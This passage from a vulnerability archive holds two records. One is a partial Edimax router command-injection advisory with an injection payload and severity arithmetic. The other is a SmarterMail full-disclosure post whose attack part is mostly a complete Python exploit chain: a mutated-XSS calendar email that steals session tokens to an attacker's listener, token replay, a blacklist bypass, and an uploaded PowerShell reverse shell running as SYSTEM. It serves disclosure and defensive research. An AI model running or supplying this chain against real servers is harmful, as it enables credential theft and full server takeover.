the factory credential shipped in the firmware, and it is reasoned rather than
demonstrated: no physical device was authenticated against, so the path is an
inference from the shipped password file plus the injection proven at the
sink, and its Scope Changed variant, which computes to 10.0, is deliberately
not published for the Scope reason above. The second applies to a device still
in its pre-configuration setup state: when configuration object 0x1bc reads
zero, auth_authorize returns success without issuing a challenge for any path
outside /mp.asp, /index.asp and /, at 0x4052d0, while /generate_204 answers
204, which is captive-portal behaviour. Three shipped artefacts identify that
state as the setup wizard rather than normal operation: formwizResetDefault at
0x44cdbc resets the device and displays Resettowizard, formWizSetup prints NO
- LOGIN-WEB when the flag is set to 1, and management pages such as
web/inter_wan.asp:214 and web/admin_timezone.asp:95 read the same flag to
switch their interface. That branch is structural inference only, read from
the binary and never exercised, and the state ends when setup completes; an
early pass of this research misread it as an unauthenticated post-setup state,
and the correction downgraded the finding to PR:H. If the window has to be
contested rather than simply found open, the reading is 8.1 High from
Exploitability 2.221167 and Base 8.094286.
The factory credential is a separate weakness and not the vector. The image
contains a populated /etc/boa/boa.passwd in a read-only SquashFS filesystem,
referenced by the single Auth directive in etc/boa/boa.conf, and the model's
published factory login is admin:1234. It is reported as CWE-798 in its own
right, without a score, because scoring it inside this advisory would
double-count it against the first conditional reading. Two limits are stated
rather than smoothed over. First, no cryptographic match between the shipped
digest and any specific password is claimed: the digest string captured during
analysis was recorded incompletely, so no comparison was published, and the
weakness rests on the artefact, a pre-populated shared credential store inside
the firmware image, plus the widely published factory login. The digest
algorithm is MD5-crypt. Second, the single account entry in the image examined
is recorded under the name root while the model's published management login
is admin; because no device was ever authenticated against, which user name
the HTTP realm accepts was not established, and no specific username is
asserted as verified. Nothing rated here turns on that detail. Absence of
privilege separation is likewise reported separately as CWE-250: bin/webs
serves untrusted HTTP input while running as root, which is what converts
every injection in the handler population into full-device takeover.
Verification method, and its boundary. This is the load-bearing limitation of
the research and it is published prominently rather than buried. No physical
device was powered on and no end-to-end HTTP request was ever accepted by the
product. The HTTP leg, being request parsing, the authentication gate, form
registration, handler dispatch and the complete absence of validation between
source and sink, is evidenced at instruction level from the shipped binary,
its configuration and its boot scripts, and was confirmed by two independent
review passes: one re-deriving the sink from
Severity
No CVSS data available.
Assigner
References
8 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Edimax | BR-6478AC firmware |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "BR-6478AC firmware",
"vendor": "Edimax",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "0day Rubbish Research Team is publicly disclosing a vulnerability in the\nEdimax BR-6478AC, firmware image BR6478AC_v2.20.bin, the dual-band AC1750 SOHO\nwireless router from Edimax Technology Co., Ltd. (Taiwan). A single\nauthenticated POST to a manufacturing radio-calibration route that is still\nregistered in production firmware reaches system() with thirty raw request\nfields interpolated into one command line, and the web server process that\nexecutes it runs as root.\n\nType and root cause. CWE-78, OS command injection, in the formWlanMP handler\nof bin/webs, the embedded GoAhead-style HTTP server that serves the management\ninterface on TCP port 80. The binary is ELF 32-bit big-endian MIPS, MIPS-I,\nuClibc, stripped, 762904 bytes, SHA256\nec39c0f9332361e37ab92f1999ac5f00f5742dd6db75f7cb26c0652cfedb32a1, from a\nSquashFS root filesystem of roughly 2.3 MB with an internal build timestamp\nfrom 2015. The registration websFormDefine(\"formWlanMP\", ...) at 0x477a1c\npublishes POST /goform/formWlanMP, whose handler at 0x462a24 reads thirty\nradio automatic-test-equipment and EEPROM calibration fields through\nwebsGetVar at 0x412a7c, reached via the function-pointer table entry at\n0x4c6b18: ateFunc, ateGain, ateTxCount, ateChan, ateRate, ateMacID,\ne2pTxPower1 through e2pTxPower7, e2pTx2Power1 through e2pTx2Power7,\nateTxFreqOffset, ateMode, ateBW, ateAntenna, e2pTxFreqOffset, e2pTxPwDeltaB,\ne2pTxPwDeltaG, e2pTxPwDeltaMix, e2pTxPwDeltaN and readE2P, plus a submit-url\nfield. Every one of them is formatted, raw, into a single command line by\nsprintf at 0x462fd0 using the format string at 0x4a0d98,\n\n/bin/rftest_old.sh %s %s ... (thirty %s conversions)\n\nand the result is handed to system(buf) at 0x46308c, whose PLT stub sits at\n0x490020 with relocation 0x18b. Between websGetVar and system there is no\nvalidation of any kind: no atoi, no inet_aton, no strchr, no isdigit, no\nstrcspn, no character filter, no length check beyond buffer capacity, no\nargument quoting and no switch to an argv-style exec. The only transformation\non the path is cosmetic: an empty field is replaced with the literal word null\nso that argument positions stay aligned. That is filler, not a filter, and it\nremoves no shell metacharacter.\n\nsystem() is not an exec of the named program; it is fork plus execl of /bin/sh\nwith -c, so the entire shell grammar is available to the payload and no\nquoting exists to escape out of. Command substitution with $(...) is evaluated\nduring expansion, before the simple command is looked up, which is the payload\nused here; backticks are equivalent; a semicolon terminates the current\ncommand; a pipe or an ampersand turns the line into a pipeline or a background\njob, with a trailing hash neutralising the rest of the format string; and an\nembedded newline is a command separator that websGetVar does not strip,\nbecause it removes only a trailing one. A field value of ateFunc=$(id \u003e\n/tmp/marker) therefore runs id first.\n\nThe shipped root filesystem contains rftest.sh but not rftest_old.sh, so the\ncommand word in the constructed line does not resolve and the shell exits 127.\nThis looks like a mitigation and is not one: expansion precedes program\nlookup, so the injected command has already executed by the time the shell\nreports the missing script. The replication run reproduced exactly that exit\nstatus alongside a correctly written marker file. The practical consequence\nfor anyone auditing this handler family is that no deny-list approach can\nsucceed here, because the payload space is the whole shell grammar and the\ninterpolation is unquoted; only removing the interpolation or removing the\nshell helps.\n\nAuthentication and reach. The route requires a valid administrative session in\nnormal operation. The gate auth_authorize at 0x404d00 reads configuration\nobject 0x1bc, the setup-wizard flag, through apmib_get; once the device is\npast setup the security store at 0x4c7004, a single / entry of type Basic\nregistered from the directive \"Auth / /etc/boa/boa.passwd\" by the Auth handler\nat 0x40814c, covers every /goform/ path with HTTP Basic authentication. The\nproduct has no second, lower-privileged role: one realm entry, one password\nfile, one account, an Allow directive handler in this build that is a\nnon-functional stub answering \"This version of Boa doesn\u0027t support access\ncontrols\", and a shipped configuration carrying one Auth directive and no\nAllow directive. Privileges Required is therefore High, not Low.\n/goform/formWlanMP is not one of the four routes carrying a post-boot uptime\ngate (/mp.asp, /goform/mp, /advanced_management.asp and\n/goform/formAdvManagement, which redirect to /index.asp once /proc/uptime\nexceeds 600 seconds), so unlike the neighbouring manufacturing route it is\nreachable at any time while the device is running.\n\nExecution identity. The calling process is webs and webs is root, because the\nshipped etc/boa/boa.conf declares User root, the same file whose AddType\napplication/x-httpd-cgi asp entry binds .asp pages as CGI. The server is\nstarted by the boot path cleanlog.sh:131 invoked from init.sh:1115 during\nearly init, writes /var/run/webs.pid, which on this root filesystem requires\nroot to create, and performs no setuid, chroot, namespace or capability drop.\nThe landing identity is uid=0(root) and no privilege escalation is involved:\nthe executing process is already root.\n\nScope of the pattern. This is one instance of a broad construction rather than\nan isolated slip. A count of the shipped registration table found 91\n/goform/form* handlers, of which roughly 85 reach a system() or popen() call.\nTwo further sinks were examined and are reported without a score: the\nuptime-gated manufacturing route /goform/mp, which is exploitable in principle\nbut confined to a 600-second post-boot window and carries the same\nfactory-test character, and the miniigd UPnP IGD daemon on UDP and TCP port\n52869, whose SOAP surface has a command sink that is unauthenticated but\nLAN-only under the shipped firewall policy. Four candidates that yielded no\nestablished request-controlled path to command execution are named as excluded\nrather than dropped silently: formrefresh, formAutoFWupgrade,\nformPreventionSetup and wscd.\n\nSeverity. The published score is 7.2 High,\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from ISS = 1 - 0.44^3 =\n0.914816, Impact at S:U = 6.42 x 0.914816 = 5.873119, Exploitability = 8.22 x\n0.85 x 0.77 x 0.27 x 0.85 = 1.234708 and Base = Roundup(5.873119 + 1.234708) =\nRoundup(7.107826) = 7.2. The provenance of that number is disclosed because it\nis a correction: the research notes behind this work carried 8.8 written next\nto a PR:H vector, and 8.8 is the arithmetic of PR:L rather than of PR:H, so\nthe figure was recomputed from the vector and published at 7.2, lowering the\nresearchers\u0027 own number by 1.6 points. Four further readings are printed with\ntheir arithmetic. Privileges Required Low is rejected at 8.8 High, from\nExploitability 2.835255 and Base Roundup(8.708373), because the product has no\nbasic-user role for that metric to describe. Scope Changed is rejected at 9.1\nHigh, from Impact at S:C = 6.128026, Exploitability 2.286496 and Base\nRoundup(1.08 x 8.414522), because webs is root before the attack and root\nafter it and nothing is escaped. Attack Complexity High is rejected at 6.6\nHigh, from Exploitability 0.705547 and Base Roundup(6.578666), because nothing\nabout success depends on a condition outside the attacker\u0027s control: no race,\nno window, no memory layout, no gadget, no user-specific state. An\nadjacent-only reading is published as an alternative rather than rejected\noutright, at 6.8 High on AV:A from Exploitability 0.900610 and Base\nRoundup(6.773729), and it is the honest description of a stock device whose\nWAN-side input policy drops new connections: the shipped firewall script sets\na default DROP input policy at firewall.sh:187, drops WAN-originated SYN at\nfirewall.sh:180 and accepts input on other interfaces at firewall.sh:189. AV:N\nis retained because the service is bound to the device\u0027s own network stack and\nis addressable over IP by every host on the segment the router serves,\nincluding guest wireless clients and anything bridged or compromised behind\nit, and because two ordinary documented product features, remote management on\nthe WAN side and forwarding port 80, move an attacker to the open internet.\nDefault internet exposure is not claimed anywhere.\n\nTwo readings at 9.8 Critical are published as explicitly labelled conditionals\nand are never the headline. The first applies where a deployment still accepts\nthe factory credential shipped in the firmware, and it is reasoned rather than\ndemonstrated: no physical device was authenticated against, so the path is an\ninference from the shipped password file plus the injection proven at the\nsink, and its Scope Changed variant, which computes to 10.0, is deliberately\nnot published for the Scope reason above. The second applies to a device still\nin its pre-configuration setup state: when configuration object 0x1bc reads\nzero, auth_authorize returns success without issuing a challenge for any path\noutside /mp.asp, /index.asp and /, at 0x4052d0, while /generate_204 answers\n204, which is captive-portal behaviour. Three shipped artefacts identify that\nstate as the setup wizard rather than normal operation: formwizResetDefault at\n0x44cdbc resets the device and displays Resettowizard, formWizSetup prints NO\n- LOGIN-WEB when the flag is set to 1, and management pages such as\nweb/inter_wan.asp:214 and web/admin_timezone.asp:95 read the same flag to\nswitch their interface. That branch is structural inference only, read from\nthe binary and never exercised, and the state ends when setup completes; an\nearly pass of this research misread it as an unauthenticated post-setup state,\nand the correction downgraded the finding to PR:H. If the window has to be\ncontested rather than simply found open, the reading is 8.1 High from\nExploitability 2.221167 and Base 8.094286.\n\nThe factory credential is a separate weakness and not the vector. The image\ncontains a populated /etc/boa/boa.passwd in a read-only SquashFS filesystem,\nreferenced by the single Auth directive in etc/boa/boa.conf, and the model\u0027s\npublished factory login is admin:1234. It is reported as CWE-798 in its own\nright, without a score, because scoring it inside this advisory would\ndouble-count it against the first conditional reading. Two limits are stated\nrather than smoothed over. First, no cryptographic match between the shipped\ndigest and any specific password is claimed: the digest string captured during\nanalysis was recorded incompletely, so no comparison was published, and the\nweakness rests on the artefact, a pre-populated shared credential store inside\nthe firmware image, plus the widely published factory login. The digest\nalgorithm is MD5-crypt. Second, the single account entry in the image examined\nis recorded under the name root while the model\u0027s published management login\nis admin; because no device was ever authenticated against, which user name\nthe HTTP realm accepts was not established, and no specific username is\nasserted as verified. Nothing rated here turns on that detail. Absence of\nprivilege separation is likewise reported separately as CWE-250: bin/webs\nserves untrusted HTTP input while running as root, which is what converts\nevery injection in the handler population into full-device takeover.\n\nVerification method, and its boundary. This is the load-bearing limitation of\nthe research and it is published prominently rather than buried. No physical\ndevice was powered on and no end-to-end HTTP request was ever accepted by the\nproduct. The HTTP leg, being request parsing, the authentication gate, form\nregistration, handler dispatch and the complete absence of validation between\nsource and sink, is evidenced at instruction level from the shipped binary,\nits configuration and its boot scripts, and was confirmed by two independent\nreview passes: one re-deriving the sink from"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-250",
"description": "CWE-250",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-78",
"description": "CWE-78",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-798",
"description": "CWE-798",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:03Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/28"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/28"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/edimax-br-6478ac-formwlanmp-command-injection-root-rce"
},
{
"url": "https://0day-rubbish.com/blog/edimax-br-6478ac-setwan-command-injection-root-rce"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/28"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] Edimax BR-6478AC firmware v2.20 authenticated command injection in the formWlanMP manufacturing-test handler, root command execution (7.2)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0494",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/28",
"automated": true,
"contentSha256": "60e651bf9d3810b6a76af98ef71f0934fc986a829d976f5d5b27734cc7d8e0d8",
"evidenceScore": 11,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/28",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-20T02:30:16Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:03Z",
"dateUpdated": "2026-11-02T07:30:03Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0494"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0493
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
SmarterMail <9777 Pre-Auth RCE (half click lol): CVE-2026-104082, CVE-2026-104083, CVE-2026-104084
Summary
original blog: https://blog.evan.lat/posts/sm/
SUMMARY: multiple vulns and misconfigurations in smartermail, notably
a mxss and session persistence issues, alongside several logic bugs
can be chained to achieve remote code execution as nt
authority\system;
https://nvd.nist.gov/vuln/detail/CVE-2026-104082
https://nvd.nist.gov/vuln/detail/CVE-2026-104083
https://nvd.nist.gov/vuln/detail/CVE-2026-104084
a mutated xss exists in smartermail. by sending a specific
text/calendar (icalendar) mimetype with the x-alt-desc header set to a
mutated xss payload:
<math><mtext><mglyph><style><img src=x onerror="{js}"></style>
the parser in the handrolled sanitizer of smartermail fails to
properly sanitize this. the payload reforms after attempts at parsing
it, allowing us to circumvent pre-auth with just one viewing of an
email. notably, this can be done entirely without clicking as well
(technically), since smartermail seems to open to latest email
automatically
====================
a session logic vuln exists in smartermail. getting the refresh token
of a domain admin before they are subsequently demoted does not
actually invalidate any of the tokens privileges; meaning you can
replay the token and continue retaining domain admin/sysadmin even
after being demoted by simply posting the refresh token to
/api/v1/auth/refresh-token and getting new accesstoken/refreshtoken
pairs with the same roles
====================
a series of logic vulns exist in smartermail that can lead to rce as
nt authority\system. typically, pre-9540 smartermail allowed sysadmins
to easily rce the box. this was changed later on when they realzied it
could be abused. nowadays, they make sure that the volume mounts
feature actually requires a script path instead of a command you can
just slap on the volume mount command. this means that tehcnically you
need to upload a script to the box itself or fidn an AFW. fortunately
there is no need, since the path validation doesnt really account for
the fact that we can technically create a domain anywhere in the box.
a domain contains attachments. since smartermail simply checks whether
or not a file is within ApplicationDataScriptsPath (where the scripts
will be); it doesnt actually check if it is within
ApplicationDataScriptsPath/foo/bar/x.txt. this means that we can
simply create a domain within ApplicationDataScriptsPath, clear all
the attachment blacklists, create a user in that domain, impersonate
the user, send an attachment of a batch script/powershell script to
ourselves so it lands on the attachments folder of the domain (which
is in ApplicationDataScriptsPath), reference the script and get rce
anyway
all xps pertaining to this can be found here:
https://github.com/eev4n/smartermail
all in one:
import argparse
import base64
import json
import requests
import smtplib
import threading
import time
from flask import Flask, request
pw = 'Foobar1234!'
fakedom = 'beamed.com'
def pargs():
p = argparse.ArgumentParser()
p.add_argument('url', help='base url')
p.add_argument('--to', required=True, help='targ')
p.add_argument('--port', default='9000', help='flask')
p.add_argument('--lhost', required=True, help='nc ip')
p.add_argument('--lport', default='1234', help='nc port')
return p.parse_args()
args = pargs()
base = args.url.rstrip('/')
listen = f'http://{args.lhost}:{args.port}'
app = Flask(__name__)
def sendm(to, eml):
print("PLACEHOLDER PLACEHOLDER")
host = args.url.split('//')[1].split('/')[0]
for i in range(12):
try:
s = smtplib.SMTP(host, 25, timeout=15)
s.ehlo()
s.docmd('MAIL FROM:<important () john com>')
s.docmd('RCPT TO:<' + to + '>')
s.docmd('DATA')
s.send(eml.encode())
result = s.docmd('.')
s.quit()
if result[0] < 300:
print('+ sent payload')
return True
print('- smtp: ' + str(result))
except Exception as e:
print('- smtp: ' + str(e))
time.sleep(5)
return False
js = f"""(function(){{var t=localStorage.getItem('userTokens');var
i=new Image();i.src='{listen}/?t='+encodeURIComponent(btoa(t));}})()"""
payload = f'<math><mtext><mglyph><style><img src=x onerror="{js}"></style>'
def invite(to):
return (
'From: j () j com\r\n'
'To: ' + to + '\r\n'
'Subject: yo heres the invite\r\n'
'Content-Type: multipart/mixed; boundary="cal"\r\n'
'\r\n'
'--cal\r\n'
'Content-Type: text/plain\r\n'
'\r\n'
'you have been invited to the next hangout g congrats\r\n'
'--cal\r\n'
'Content-Type: text/calendar; method=REQUEST\r\n'
'\r\n'
'BEGIN:VCALENDAR\r\n'
'VERSION:2.0\r\n'
'PRODID:-//Test//EN\r\n'
'BEGIN:VEVENT\r\n'
'UID:' + str(int(time.time())) + '@test.local\r\n'
'DTSTAMP:20260925T120000Z\r\n'
'DTSTART:20260925T130000Z\r\n'
'DTEND:20260925T140000Z\r\n'
'SUMMARY:Meeting\r\n'
'X-ALT-DESC;FMTTYPE=text/html:<html><body>' + payload +
'</body></html>\r\n'
'END:VEVENT\r\n'
'END:VCALENDAR\r\n'
'--cal--\r\n'
)
def picknchoose(tokens):
for email in tokens:
refresh = tokens[email].get('refreshToken')
if not refresh:
continue
r = requests.post(base + '/api/v1/auth/refresh-token',
json={'token': refresh}, timeout=30)
if r.status_code != 200:
print(f'refresh fail wtf')
continue
access = r.json()['accessToken']
open('refresh.txt', 'a').write(email + ' ' + r.json()['refreshToken'])
part = access.split('.')[1]
part += '=' * (-len(part) % 4)
claims = json.loads(base64.urlsafe_b64decode(part))
if 'SysAdmin' in claims.get('role', []):
print(f'+ got sysadmin shit aint sweet no mo')
return access
print(f'- {email}: not sysadmin')
return None
def beam(at):
def apibase(path, data):
return requests.post(base + path, json=data,
headers={'Authorization': 'Bearer ' + at}, timeout=60)
# get the orig path first
r = apibase('/api/v1/settings/sysadmin/AddOrUpdateMount', {
'Enabled': True,
'MountPath': 'C:/tmp',
'CommandMount': 'zz',
'CommandUnmount': '',
'ReadOnly': False,
'UseArgumentsInCommand': False
})
if 'not found' not in r.text:
print('! cant find assets dir')
return
assets = r.text.split("Script file '")[1].split('zz')[0]
print(f'+ got assets {assets}')
r = apibase('/api/v1/settings/sysadmin/global-mail', {
'globalMailSettings':
{
'fileTypeRestriction':
{
'blackList': [],
'blockFilesWithNoExtension': False
}
}
})
if r.status_code != 200:
print('! cant clear bl')
return
print('+ bl cleared')
r = apibase('/api/v1/settings/sysadmin/domain-put', {
'domainData': {
'name': fakedom,
'hostname': 'mail.' + fakedom,
'path': assets + 'x',
'isEnabled': True,
'isSplitDomain': False
},
'adminUsername': 'lol',
'adminPassword': pw
})
if r.status_code == 200:
print('+ new dom')
else:
print(f'- cant make new domain')
email = f'lol@{fakedom}'
r = apibase('/api/v1/settings/sysadmin/post-user', {
'email': email,
'userData': {
'maxMailboxSize': 0
},
'allowMail': True
})
if r.status_code == 200:
print('+ quota unlimited')
else:
print(f'- quota: {r.status_code}')
r = requests.post(base + '/api/v1/auth/authenticate-user', json={
'Username': email,
'Password': pw,
'clientId': 'lol'
}, timeout=30)
if r.status_code != 200:
print('! login fail ' + r.text[:200])
return
user_token = r.json()['accessToken']
print('+ logged in no bizzy BAP ')
ps1 = f"""$c=New-Object
System.Net.Sockets.TCPClient('{args.lhost}',{args.lport});
$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};
while(($i=$s.Read($b,0,$b.Length))-ne 0){{
$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);
$r=(('Invoke'+'-Expression') $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';
$e=([text.encoding]::ASCII).GetBytes($r2);
$s.Write($e,0,$e.Length);$s.Flush()}};
$c.Close()
"""
ps1p = assets + 'x/Users/lol/FileStore/Root Folder/fun.ps1'
bat = (f'@echo off\r\n'
f'powershell -ExecutionPolicy Bypass -WindowStyle Hidden
-File "{ps1p}"\r\n')
def upload(filename, content):
size = str(len(content))
form = {
'context': 'file-storage',
'contextData': '{"folder":""}',
'resumableChunkNumber': '1',
'resumableTotalChunks': '1',
'resumableChunkSize': size,
'resumableCurrentChunkSize': size,
'resumableTotalSize': size,
'resumableIdentifier': filename.upper().replace('.', '-')
+ '-' + size,
'resumableFilename': filename,
'resumableRelativePath': filename,
'resumableType': '',
}
# technically not needed but sometimes it fails
for i in range(15):
r = requests.post(base + '/api/upload',
headers={'Authorization': 'Bearer ' + user_token}, data=form,
files={'file': (filename, content.encode())}, timeout=30)
if r.status_code == 200:
return True
if 'MAX_SIZE_EXCEEDED' in r.text:
time.sleep(3)
continue
print(f'! upload: {r.text[:100]}')
return False
print('! upload is fucked wtf did you do')
return False
if not upload('fun.ps1', ps1):
return
if not upload('g.bat', bat):
return
print('+ uploaded pl')
r = apibase('/api/v1/settings/sysadmin/AddOrUpdateMount', {
'Enabled': True,
'MountPath': 'C:/tmp',
'CommandMount': 'x/Users/lol/FileStore/Root Folder/g.bat',
'CommandUnmount': '',
'ReadOnly': False,
'UseArgumentsInCommand': False
})
if 'not found' in r.text:
print('???: ' + r.text[:300])
else:
print(f'+ shell')
@app.route('/')
def catch():
raw = request.args.get('t', '')
stolen = base64.b64decode(raw).decode('utf-8', 'replace')
print('+ got tokens')
tokens = json.loads(stolen)
atk = picknchoose(tokens)
if atk is None:
print('! no sysadmin token')
return b''
beam(atk)
return b''
threading.Thread(target=lambda: app.run(host='0.0.0.0',
port=int(args.port)), daemon=True).start()
print(f'+ WE UP @ {args.port}')
if not sendm(args.to, invite(args.to)):
print("! cant send mail")
exit(1)
print('waiting')
while True:
time.sleep(60)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
10 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | SmarterMail <9777 Pre-Auth |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0493 (this record)
- related CVE-2026-104082
- related CVE-2026-104083
- related CVE-2026-104084
{
"containers": {
"cna": {
"affected": [
{
"product": "SmarterMail \u003c9777 Pre-Auth",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "evan via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "original blog: https://blog.evan.lat/posts/sm/\n\nSUMMARY: multiple vulns and misconfigurations in smartermail, notably\na mxss and session persistence issues, alongside several logic bugs\ncan be chained to achieve remote code execution as nt\nauthority\\system;\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-104082\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-104083\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-104084\n\na mutated xss exists in smartermail. by sending a specific\ntext/calendar (icalendar) mimetype with the x-alt-desc header set to a\nmutated xss payload:\n\u003cmath\u003e\u003cmtext\u003e\u003cmglyph\u003e\u003cstyle\u003e\u003cimg src=x onerror=\"{js}\"\u003e\u003c/style\u003e\n\nthe parser in the handrolled sanitizer of smartermail fails to\nproperly sanitize this. the payload reforms after attempts at parsing\nit, allowing us to circumvent pre-auth with just one viewing of an\nemail. notably, this can be done entirely without clicking as well\n(technically), since smartermail seems to open to latest email\nautomatically\n\n\n====================\n\na session logic vuln exists in smartermail. getting the refresh token\nof a domain admin before they are subsequently demoted does not\nactually invalidate any of the tokens privileges; meaning you can\nreplay the token and continue retaining domain admin/sysadmin even\nafter being demoted by simply posting the refresh token to\n/api/v1/auth/refresh-token and getting new accesstoken/refreshtoken\npairs with the same roles\n\n====================\n\na series of logic vulns exist in smartermail that can lead to rce as\nnt authority\\system. typically, pre-9540 smartermail allowed sysadmins\nto easily rce the box. this was changed later on when they realzied it\ncould be abused. nowadays, they make sure that the volume mounts\nfeature actually requires a script path instead of a command you can\njust slap on the volume mount command. this means that tehcnically you\nneed to upload a script to the box itself or fidn an AFW. fortunately\nthere is no need, since the path validation doesnt really account for\nthe fact that we can technically create a domain anywhere in the box.\na domain contains attachments. since smartermail simply checks whether\nor not a file is within ApplicationDataScriptsPath (where the scripts\nwill be); it doesnt actually check if it is within\nApplicationDataScriptsPath/foo/bar/x.txt. this means that we can\nsimply create a domain within ApplicationDataScriptsPath, clear all\nthe attachment blacklists, create a user in that domain, impersonate\nthe user, send an attachment of a batch script/powershell script to\nourselves so it lands on the attachments folder of the domain (which\nis in ApplicationDataScriptsPath), reference the script and get rce\nanyway\n\nall xps pertaining to this can be found here:\nhttps://github.com/eev4n/smartermail\n\n\nall in one:\nimport argparse\nimport base64\nimport json\nimport requests\nimport smtplib\nimport threading\nimport time\nfrom flask import Flask, request\n\npw = \u0027Foobar1234!\u0027\nfakedom = \u0027beamed.com\u0027\n\ndef pargs():\n p = argparse.ArgumentParser()\n p.add_argument(\u0027url\u0027, help=\u0027base url\u0027)\n p.add_argument(\u0027--to\u0027, required=True, help=\u0027targ\u0027)\n p.add_argument(\u0027--port\u0027, default=\u00279000\u0027, help=\u0027flask\u0027)\n p.add_argument(\u0027--lhost\u0027, required=True, help=\u0027nc ip\u0027)\n p.add_argument(\u0027--lport\u0027, default=\u00271234\u0027, help=\u0027nc port\u0027)\n return p.parse_args()\n\nargs = pargs()\nbase = args.url.rstrip(\u0027/\u0027)\nlisten = f\u0027http://{args.lhost}:{args.port}\u0026apos;\napp = Flask(__name__)\n\n\ndef sendm(to, eml):\n print(\"PLACEHOLDER PLACEHOLDER\")\n host = args.url.split(\u0027//\u0027)[1].split(\u0027/\u0027)[0]\n for i in range(12):\n try:\n s = smtplib.SMTP(host, 25, timeout=15)\n\n s.ehlo()\n s.docmd(\u0027MAIL FROM:\u003cimportant () john com\u003e\u0027)\n s.docmd(\u0027RCPT TO:\u003c\u0027 + to + \u0027\u003e\u0027)\n s.docmd(\u0027DATA\u0027)\n s.send(eml.encode())\n result = s.docmd(\u0027.\u0027)\n s.quit()\n\n if result[0] \u003c 300:\n print(\u0027+ sent payload\u0027)\n return True\n print(\u0027- smtp: \u0027 + str(result))\n except Exception as e:\n print(\u0027- smtp: \u0027 + str(e))\n time.sleep(5)\n return False\n\n\njs = f\"\"\"(function(){{var t=localStorage.getItem(\u0027userTokens\u0027);var\ni=new Image();i.src=\u0027{listen}/?t=\u0027+encodeURIComponent(btoa(t));}})()\"\"\"\npayload = f\u0027\u003cmath\u003e\u003cmtext\u003e\u003cmglyph\u003e\u003cstyle\u003e\u003cimg src=x onerror=\"{js}\"\u003e\u003c/style\u003e\u0027\n\ndef invite(to):\n return (\n \u0027From: j () j com\\r\\n\u0027\n \u0027To: \u0027 + to + \u0027\\r\\n\u0027\n \u0027Subject: yo heres the invite\\r\\n\u0027\n \u0027Content-Type: multipart/mixed; boundary=\"cal\"\\r\\n\u0027\n \u0027\\r\\n\u0027\n \u0027--cal\\r\\n\u0027\n \u0027Content-Type: text/plain\\r\\n\u0027\n \u0027\\r\\n\u0027\n \u0027you have been invited to the next hangout g congrats\\r\\n\u0027\n \u0027--cal\\r\\n\u0027\n \u0027Content-Type: text/calendar; method=REQUEST\\r\\n\u0027\n \u0027\\r\\n\u0027\n \u0027BEGIN:VCALENDAR\\r\\n\u0027\n \u0027VERSION:2.0\\r\\n\u0027\n \u0027PRODID:-//Test//EN\\r\\n\u0027\n \u0027BEGIN:VEVENT\\r\\n\u0027\n \u0027UID:\u0027 + str(int(time.time())) + \u0027@test.local\\r\\n\u0027\n \u0027DTSTAMP:20260925T120000Z\\r\\n\u0027\n \u0027DTSTART:20260925T130000Z\\r\\n\u0027\n \u0027DTEND:20260925T140000Z\\r\\n\u0027\n \u0027SUMMARY:Meeting\\r\\n\u0027\n \u0027X-ALT-DESC;FMTTYPE=text/html:\u003chtml\u003e\u003cbody\u003e\u0027 + payload +\n\u0027\u003c/body\u003e\u003c/html\u003e\\r\\n\u0027\n \u0027END:VEVENT\\r\\n\u0027\n \u0027END:VCALENDAR\\r\\n\u0027\n \u0027--cal--\\r\\n\u0027\n )\n\n\ndef picknchoose(tokens):\n for email in tokens:\n refresh = tokens[email].get(\u0027refreshToken\u0027)\n\n if not refresh:\n continue\n\n r = requests.post(base + \u0027/api/v1/auth/refresh-token\u0027,\njson={\u0027token\u0027: refresh}, timeout=30)\n\n if 